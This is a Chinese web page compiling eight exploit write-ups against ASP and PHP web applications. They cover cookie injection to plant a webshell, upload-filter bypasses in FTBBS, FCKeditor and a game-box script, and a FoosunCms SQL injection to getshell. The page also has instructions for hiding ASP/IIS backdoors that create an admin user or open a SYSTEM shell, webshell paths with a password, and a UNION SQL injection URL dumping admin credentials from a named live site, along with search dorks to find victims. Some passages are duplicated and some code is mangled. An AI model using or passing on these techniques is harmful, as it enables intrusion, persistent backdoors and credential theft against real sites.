天下马ASP收信程序漏洞漏洞预警
“鸣鸟疏林”通过精心收集,向本站投稿了8篇天下马ASP收信程序漏洞漏洞预警,以下是小编为大家准备的天下马ASP收信程序漏洞漏洞预警,仅供参考,欢迎大家阅读。
篇1:天下马ASP收信程序漏洞漏洞预警
最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!
首先,天下马的其他bug我们这里就不看了,直接看提交过程!
网上公布的提交过程是类似这种的连接:
www.xxx.com/post.asp?act=&d00=202&d01=
src=www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123
返回如图1所示表示正常插入
我们来看看察看数据的页面及其部分源代码,如图2所示
但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤
我这里有一份代码如下:
[Copy to clipboard] [ - ]CODE:
相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
strAreaName = request(“d00”) //还有很多,只写出一个
....
....
if strAreaName “” then RS(“AreaName”) = strAreaName //还有很多,只写出一个
....
....
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):
[Copy to clipboard] [ - ]CODE:
GET /post.asp?
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: xxx.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=
这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!
然后使用NC提交!
我们来看看察看数据的页面及其部分源代码,如图3所示
成功写入!
至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!
篇2:FTBBS ASP 7.0 上传漏洞漏洞预警
< %
userid=getcookie(“clubuser_id”)
............
if Application(“FTBBSMB”)(7,0)=“M” then
inFolder=year(date)&month(date())
else
inFolder=year(date())&month(date())&day(date())
end if
call makefolder(inFolder,fso)
myFolder = inFolder&“/”&userid
call makefolder(myFolder,fso)
...................
formPath=inFolder&“/”&userid
......上传过程省略.....
建立的文件夹读取的COOKIE里的userid
修改COOKLIE里userid的值为fuck.asp形式即可建立IIS 6.0缺陷文件夹导致可以上传JPG的小马
至于修改COOKIE各位大大应该都会吧~FTBBS貌似所有版本都有此问题吧~
篇3:如何放asp后门漏洞预警
asp后门放置方法之一asp Injection,先看图一:
这是我架在本机的一个动网文章管理的登陆页面,和平常没什么两样,原有的功能都存在。 再看第二个图:
比较一下:
图1的url是192.168.1.3/asp/wz/admin.asp
图2是192.168.1.3/asp/wz/admin.asp?id=1,在admin.asp后边加了一个参数“?id=1”就多出一个东东来了。图2下面这两个框,你可以在前边的输入框里输入文件名,后边的文本框可以复制你要的任意代码,点生成按扭可以生成在服务器上生成cgi/asp/php/aspx等网页后门或任意文本文件。这是怎么做到的呢?只要你将这段代码根据提示修改一下插入某个asp网页代码最下端即可。
程序代码:
value= <--erver.mappath(“xp.asp”-->>
<--nd i-->
值得注意的是这段代码要求服务器支持fso,并且它不是在所有的asp文件里都生效的。像 入的asp文件有包含代码,即有 <--#include file=“conn.asp”-->这样的代码,这段代码就不生效了,但不会影响原文件的使用。如果你会写asp,你还可以将一些asp后门直接写在肉鸡原有的asp文件里。
这是我架在本机的一个动网文章管理的登陆页面,和平常没什么两样,原有的功能都存在。 再看第二个图:
比较一下:
图1的url是192.168.1.3/asp/wz/admin.asp
图2是192.168.1.3/asp/wz/admin.asp?id=1,在admin.asp后边加了一个参数“?id=1”就多出一个东东来了。图2下面这两个框,你可以在前边的输入框里输入文件名,后边的文本框可以复制你要的任意代码,点生成按扭可以生成在服务器上生成cgi/asp/php/aspx等网页后门或任意文本文件。这是怎么做到的呢?只要你将这段代码根据提示修改一下插入某个asp网页代码最下端即可。
程序代码:
value= <--erver.mappath(“xp.asp”-->>
<--nd i-->
值得注意的是这段代码要求服务器支持fso,并且它不是在所有的asp文件里都生效的。像 入的asp文件有包含代码,即有 <--#include file=“conn.asp”-->这样的代码,这段代码就不生效了,但不会影响原文件的使用。如果你会写asp,你还可以将一些asp后门直接写在肉鸡原有的asp文件里。 asp后门放置方法之二在iis管理器中用asp.dll来解析任意后缀名。这样来做,依次打开电脑的控制面板-管理工具-Internet 服务管理器-web站点-右键属性-主目录-配置-添加,
我添加了一个后缀为lcx的文件映射,用nt/system32下的asp.dll来解析。像图3:
这样做完以后,我们把常用的cmd.asp改名为cmd.lcx,然后运行,你看会发生什么? 图4:
一样是一个网页后门。当然,起个什么后缀显得更隐蔽,看你的聪明才知智了。asp后门放置方法之深入研究。我刚才是用了asp.dll来解析后缀为lcx的文件。如果我们用一个特殊的dll程序来解析.lcx的后缀呢?如果你会编程,当然可以根据自己的需要写一个dll程序。不会呢?哈,绿盟袁哥已经为我们写好了。想到了没有,就是那个idq.dll呀,可以传在scripts目录下用ispc来连接的idq.dll。U漏洞里提升权限常用的。现在我经用这个idq.dll按asp后门方法之二做好映射了,那么会发生什么呢?可以用它做两件事。一种是可以通过执行targetip/anything.lcx来在对方主机上加一个名为iisuser,密码为abcd1234的用户。图5:
这个xxx.lcx可以随便改名,主机不存在这个文件也可以。如果你还不满足,我们用nc登陆主机看看。键入如下命令。nc targetip 80
post /%08/ anything.lcx,怎么样?登陆上去了吧,在w2k+sp3下它可是system权限呀。图6:
原理在这儿限于篇幅我就不讲了,你可以上绿盟查查tombkeeper pgn写的IIS配置文件后门这篇文章。网友czy也写了一个同样的dll程序,用法就是在ie中执行ip/*.你设写的后缀?shell=你要的命令。看一下我用它在肉鸡上做的后门吧,我是用它来解析.ph4的后缀。图7:
看到这里,你可能要说了,这个iis后门在3389终端里安装很方便,在命令行下呢?我们也有办法。iis默认安装下,会在/inetpub/adminscripts目录下生成19个vbs脚本,我们用其中的一个adsutil.vbs就可以帮我们装上这个奇妙的iis后门了。
运用方法如下,我们分8步走,看看命令行下的快乐吧:
1 copy idq.dll %systemroot%/system32/iisapi.dll
将idq.dll copy到系统盘的system32目录下,重命名为iisapid.ll
2得到虑拟站点的情况
cscript adsutil.vbs enum /p /w3svc
[/w3svc/Info]
[/w3svc/Filters]
[/w3svc/2]----------->这些就是拟虚拟站点了
[/w3svc/3]
[/w3svc/4]
[/w3svc/1]
3 得到IIS所有的有特权的DLL
adsutil.vbs set /
篇4: 游戏网站程序0DAY漏洞预警
作者:amxking
挖掘:百事可乐
准确点应该算是backdoor
inurl:Find.asp 您的位置 >>客服中心 >>找回密码
直接传马:
www.XXX.com/user/situjiaduotu2.asp
一句话backdoor ,密码 : value
www.XXX.com/htmledit/Include/upfile_class.asp
www.XXX.com/htmledit\Include\DeCode.asp
读库提权:
D:\web\www.xxx.com\Inc\Config.asp
篇5:FoosunCms的asp版本getshell漏洞预警
在文件\User\award\awardAction.asp中:
1
2
3
4
5
6
7
8
9
Integral=NoSqlHack(request.QueryString(“Integral”))
ifaction=“join”then
User_Conn.execute(“Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values(”&CintStr(prizeID)&“,'”&session(“FS_UserNumber”)&“',”&CintStr(awardID)&“)”)
'获得当前参加人数--------------------------------
User_Conn.execute(“Update FS_ME_Users set Integral=(Integral-”&Integral&“) where usernumber='”&session(“FS_UserNumber”)&“'”)
请直接无视NoSqlHack,由于sql注入是发生在update语句中,所以我们可以修改表S_ME_Users的任意记录的任意字段信息
webshell还可以用来代替access
我们文件管理中上传个图片文件:
192.168.1.101/UserFiles/27015564I69/_09_27_01_10_0390446.jpg
UserNumber就是等于27015564I69
通过以上的sql注入漏洞,直接update为test.asp
192.168.1.101/User/award/awardAction.asp?action=join&awardID=1&prizeID=1&Integral=1),UserNumber=0x74006500730074002E00610073007000,sex=(1
退出再重新登录
生成test.asp目录,后续上传的文件都会保存在该文件中
利用iis解析漏洞获取webshell
篇6:Fckeditor2.6.8 ASP版文件上传绕过漏洞预警
exploit-db近期发布了一个FCkeditor2.6.8ASP版的一个上传绕过,不过不是很详细,只发了一个视频,是 的,可能有兄弟们看不到,转发到国内给大家看看,国内也有大牛分析过,我也一并发出来,
代码分析:
'漏洞文件:editor/filemanager/connectors/asp/commands.asp
'漏洞函数:
Sub FileUpload( resourceType, currentFolder, sCommand )
Dim oUploader
Set Uploader = New NetRube_Upload
oUploader.MaxSize = 0
oUploader.Allowed = ConfigAllowedExtensions.Item( resourceType )
oUploader.Denied = ConfigDeniedExtensions.Item( resourceType )
oUploader.HtmlExtensions = ConfigHtmlExtensions
oUploader.GetData
Dim sErrorNumber
sErrorNumber = “0”
Dim sFileName, sOriginalFileName, sExtension
sFileName = “”
If oUploader.ErrNum >0 Then
sErrorNumber = “202”
Else
' Map the virtual path to the local server path.
Dim sServerDir
sServerDir = ServerMapFolder( resourceType, currentFolder, sCommand ) '获取保存文件路径
Dim oFSO
Set FSO = Server.CreateObject( “Scripting.FileSystemObject” )
if not (oFSO.FolderExists( sServerDir ) ) then '判断文件夹是否存在
sErrorNumber = “102”
else
' Get the uploaded file name.
sFileName = oUploader.File( “NewFile” ).Name '获取上传文件名(包含后缀)
sExtension = oUploader.File( “NewFile” ).Ext '获取上传文件后缀(获取方式是文件名倒数第一个点开始的后面的字符)
sFileName = SanitizeFileName( sFileName ) '对文件名进行处理,处理方式见文章下面的相关函数
sOriginalFileName = sFileName
Dim iCounter
iCounter = 0
'*******************************************************************
Do While ( True )
Dim sFilePath
sFilePath = CombineLocalPaths(sServerDir, sFileName) '把文件路径和文件名合在一起
If ( oFSO.FileExists( sFilePath ) ) Then
iCounter = iCounter + 1
sFileName = RemoveExtension( sOriginalFileName ) & “(” & iCounter & “).” & sExtension
'漏洞关键点 sFileName
sErrorNumber = “201”
Else
oUploader.SaveAs “NewFile”, sFilePath
If oUploader.ErrNum >0 Then sErrorNumber = “202”
Exit Do
End IfLoop
'***********************************************
'以上部分是一个循环,当sFilePath不存在时,就直接进入else中调用类中oUploader.SaveAs保存文件!这个过程就是我们第一次
'上传时的代码执行流程,在第一个流程中我们sFilePath变量是sServerDir和sFileName两个变量合成的,此时的sFileName是
'经过 SanitizeFileName函数处理过后的变量,而当我们再次上传同名文件时,会进入if流程这个时候的sFileName将是用
'sExtension的后缀,此时的sFileName将在下次循环中和sServerDir一起合成sFilePath,因此第二次上传的后缀是没有经过处理的
'然后直接带入oUploader.SaveAs中进行保存,接下来看下oUploader.SaveAs保存文件和oUploader.File( “NewFile” ).Ext后缀获取
'的代码流程。
'**********************************************
end if
End If
Set oUploader = Nothing
dim sFileUrl
sFileUrl = CombinePaths( GetResourceTypePath( resourceType, sCommand ) , currentFolder )
sFileUrl = CombinePaths( sFileUrl, sFileName )
If ( sErrorNumber = “0” or sErrorNumber = “201” ) then
SendUploadResults sErrorNumber, sFileUrl, sFileName, “”
Else
SendUploadResults sErrorNumber, “”, “”, “”
End If
End Sub
相关函数:
--------------------------------------------
function SanitizeFileName( sNewFileName ) '检测文件名函数,用正则替换文件名中的特殊字符然后替换为下划线
Dim oRegex
Set Regex = New RegExp
oRegex.Global = True
if ( ConfigForceSingleExtension = True ) then
oRegex.Pattern = “\.(?![^.]*$)”
sNewFileName = oRegex.Replace( sNewFileName, “_” )
end if
'remove \ / | : ? * “ < >and control characters
oRegex.Pattern = ”(\\|\/|\||:|\;|\?|\*|“”|\<|\>|[\u0000-\u001F]|\u007F)“
SanitizeFileName = oRegex.Replace( sNewFileName, ”_“ )
Set Regex = Nothing
end function
--------------------------------------------
Function RemoveExtension( fileName )
RemoveExtension = Left( fileName, InStrRev( fileName, ”.“ ) - 1 ) 'InStrRev返回某字符串在另一个字符串中最后出现的位置
End Function
--------------------------------------------
NetRube_Upload 类文件位于editor/filemanager/connectors/asp/class_upload.asp中
-----------------------------------------------
Set File(sFormName) = New NetRube_FileInfo
File(sFormName).FormName = sFormName
File(sFormName).Start = nFormEnd
File(sFormName).Size = nFormStart - nFormEnd - 2
nPosStart = InStr(nPosEnd, sFormHeader, ” filename=“, 1) + 11
nPosEnd = InStr(nPosStart, sFormHeader, ”“”“)
File(sFormName).ClientPath = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
File(sFormName).Name = Mid(File(sFormName).ClientPath, InStrRev(File(sFormName).ClientPath, ”\“) + 1)
File(sFormName).Ext = LCase(Mid(File(sFormName).Name, InStrRev(File(sFormName).Name, ”.“) + 1))
'获取后缀,没有任何过滤验证得到File(sFormName).Ext
nPosStart = InStr(nPosEnd, sFormHeader, ”Content-Type: “, 1) + 14
nPosEnd = InStr(nPosStart, sFormHeader, vbCr)
File(sFormName).MIME = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
-----------------------------------------------
Public Sub SaveAs(sItem, sFileName)
If File(sItem).Size < 1 Then
nErr = 2
Exit Sub
End If
If Not IsAllowed(File(sItem).Ext) Then
nErr = 4
Exit Sub
End If
If InStr( LCase( sFileName ), ”::$data“ ) >0 Then
nErr = 4
Exit Sub
End IfDim sFileExt, iFileSize
sFileExt = File(sItem).Ext
iFileSize = File(sItem).Size
' Check XSS.
If Not IsHtmlExtension( sFileExt ) Then
' Calculate the size of data to load (max 1Kb).
Dim iXSSSize
iXSSSize = iFileSize
If iXSSSize >1024 Then
iXSSSize = 1024
End If
' Read the data.
Dim sData
oSourceData.Position = File(sItem).Start
sData = oSourceData.Read( iXSSSize ) ' Byte Array
sData = ByteArray2Text( sData ) ' String
' Sniff HTML data.
If SniffHtml( sData ) Then
nErr = 4
Exit Sub
End If
End If
'下面代码直接使用ADODB.Stream保存文件
Dim oFileStream
Set FileStream = Server.CreateObject(”ADODB.Stream“)
With oFileStream
.Type = 1
.Mode = 3
.Open
oSourceData.Position = File(sItem).Start
oSourceData.CopyTo oFileStream, File(sItem).Size
.Position = 0
.SaveToFile sFileName, 2
'SaveToFile保存文件
.Close
End With
Set FileStream = Nothing
End Sub
'这样fck的上传流程基本就是这样了,最后我们使用\0截断,是因为用ADODB.Stream保存文件的时候就会对我文件名处理时候形
'成的截断,c语言大家懂的,
=====================================
既然是ADODB.Stream保存文件时候,对文件名的处理文件,造成的\0截断,抱着追根究底的想法,想知道到底具体ADODB.Stream对文件名的处理是怎么样的,逆向能力有限,于是google看有没有类似的文章,只找到了FSO保存文件时候
的\0截断分析www.security-assessment.com/files/documents/whitepapers/0x00%20vs%20ASP%20file%20upload%20scripts.pdf
此次分析就到此结束了,再深究就需要深厚的逆向编程功底做支撑了,小菜无能为力。
如文件有错希望指正,如你看了此文有不同见解,望相互讨论!
篇7:的游戏箱子收信程序上传漏洞利用方法
来自:影子鹰
文章写得简洁一点,但是大家应该能看得懂!
存在这个漏洞的箱子程序还是挺多的!皇马,吉祥什么的好像都有!
首先看一下存在漏洞的具体文件代码,文件名称是GetGif.asp
CODE:
<%
Response.Buffer = True
Server.ScriptTimeOut=180
'On Error Resume Next
'dim SavePath
ExtName = ”jpg,gif,png“ '允许扩展名
SavePath =imgFolder '保存路径
If Right(SavePath,1)”/“ Then SavePath=SavePath&”/“ '在目录后加(/)
CheckAndCreateFolder(SavePath)
UpLoadAll_a = Request.TotalBytes '取得客户端全部内容
If(UpLoadAll_a<=0) Then
Response.Write ”Sorry“
Response.End
end if
Set UploadStream_c = Server.CreateObject(”ADODB.Stream“)
UploadStream_c.Type = 1
UploadStream_c.Open
UploadStream_c.Write Request.BinaryRead(UpLoadAll_a)
UploadStream_c.Position = 0
FormDataAll_d = UploadStream_c.Read
CrLf_e = chrB(13)&chrB(10)
FormStart_f = InStrB(FormDataAll_d,CrLf_e)
FormEnd_g = InStrB(FormStart_f+1,FormDataAll_d,CrLf_e)
Set FormStream_h = Server.Createobject(”ADODB.Stream“)
FormStream_h.Type = 1
FormStream_h.Open
UploadStream_c.Position = FormStart_f + 1
UploadStream_c.CopyTo FormStream_h,FormEnd_g-FormStart_f-3
FormStream_h.Position = 0
FormStream_h.Type = 2
FormStream_h.CharSet = ”GB2312“
FormStreamText_i = FormStream_h.Readtext
FormStream_h.Close
FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,”\“)+1,FormEnd_g)
'FileName_j = Mid(FormStreamText_i,InstrRev(FormStreamText_i,”=“)+2,FormEnd_g)
'Response.Write FileName_j
If(CheckFileExt(FileName_j,ExtName)) Then
SaveFile = Server.MapPath(SavePath & FileName_j)
'SaveFile=SavePath & FileName_j
If Err Then
Response.Write ”Sorry“
Err.Clear
Response.End
Else
SaveFile = CheckFileExists(SaveFile)
k=Instrb(FormDataAll_d,CrLf_e&CrLf_e)+4
l=Instrb(k+1,FormDataAll_d,leftB(FormDataAll_d,FormStart_f-1))-k-2
FormStream_h.Type=1
FormStream_h.Open
UploadStream_c.Position=k-1
UploadStream_c.CopyTo FormStream_h,l
FormStream_h.SaveToFile SaveFile,2
SaveFileName = Mid(SaveFile,InstrRev(SaveFile,”\“)+1)
Response.write ”OK“
Response.End
End If
Else
Response.Write ”Sorry“
Response.End
End If
%>
<%
'判断文件类型是否合格
Function CheckFileExt(FileName,ExtName) '文件名,允许上传文件类型
FileType = ExtName
FileType = Split(FileType,”,“)
For i = 0 To Ubound(FileType)
If LCase(Right(FileName,3)) = LCase(FileType(i)) then
CheckFileExt = True
Exit Function
Else
CheckFileExt = False
End if
Next
End Function
'检查上传文件夹是否存在,不存在则创建文件夹
Function CheckAndCreateFolder(FolderName)
fldr = Server.Mappath(FolderName)
Set fso = CreateObject(”Scripting.FileSystemObject“)
If Not fso.FolderExists(fldr) Then
fso.CreateFolder(fldr)
End If
Set fso = Nothing
End Function
'检查文件是否存在,重命名存在文件
Function CheckFileExists(FileName)
Set fso=Server.CreateObject(”Scripting.FileSystemObject“)
If fso.FileExists(SaveFile) Then
i=1
msg=True
Do While msg
CheckFileExists = Replace(SaveFile,Right(SaveFile,4),”_“ & i & Right(SaveFile,4))
If not fso.FileExists(CheckFileExists) Then
msg=False
End If
i=i+1
Loop
Else
CheckFileExists = FileName
End If
Set fso=Nothing
End Function
%>
也是很简洁的一个上传代码,也存在上传漏洞,使我们想起了DVBBS的上传漏洞,自己动手写一个HTML提交页面
CODE:
然后抓包,改包”20“-”00“,NC上传就可以了~这步骤不明白的朋友可以参考一下DVBBS的上传漏洞
以上方法通杀IIS5和IIS6,还有一种方法就是针对IIS6的解析漏洞,可以上传一个1.asp;1.jpg文件也是可以的!
此外还有一个就是针对路径的问题,因为默认的上传路径是/img/
但是很多箱子的主人都把这个路径改掉了,如改成/img001/,更有甚者将目录设置的更为复杂
针对这种情况的解决方法是在包中添加”../”,添加数目可以不是一个,如果箱子主人设置的很BT的话,可以通过提交多个"../”,
在发生提交错误时,之前提交的文件就会被上传到网站的根目录了!具体情况还请大家具体分析一下!
篇8:国外一Blog程序0day漏洞预警
作者:YJPS 转载请注明
近来无聊 去国外网站上转悠,看到一个不错的Blog系统,可以注册用户,并分配一个二级目录,
更无聊的就去检测了下,下面是分析结果。
站点:www.jj.ru/
漏洞地址:www.jj.ru/include/send_email.php?comment=1074
得到用户和密码
www.jj.ru/include/send_email.php?comment=1074+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,id,username,password,email),7,8,9+from+blogs_database.websiteadmin_admin_users+limit+1,1--
如想扩大战果,可GOOGLE里:inurl:send_email.php?comment=
漏洞危害不小,请勿借此破坏,
【天下马ASP收信程序漏洞漏洞预警】相关文章:






文档为doc格式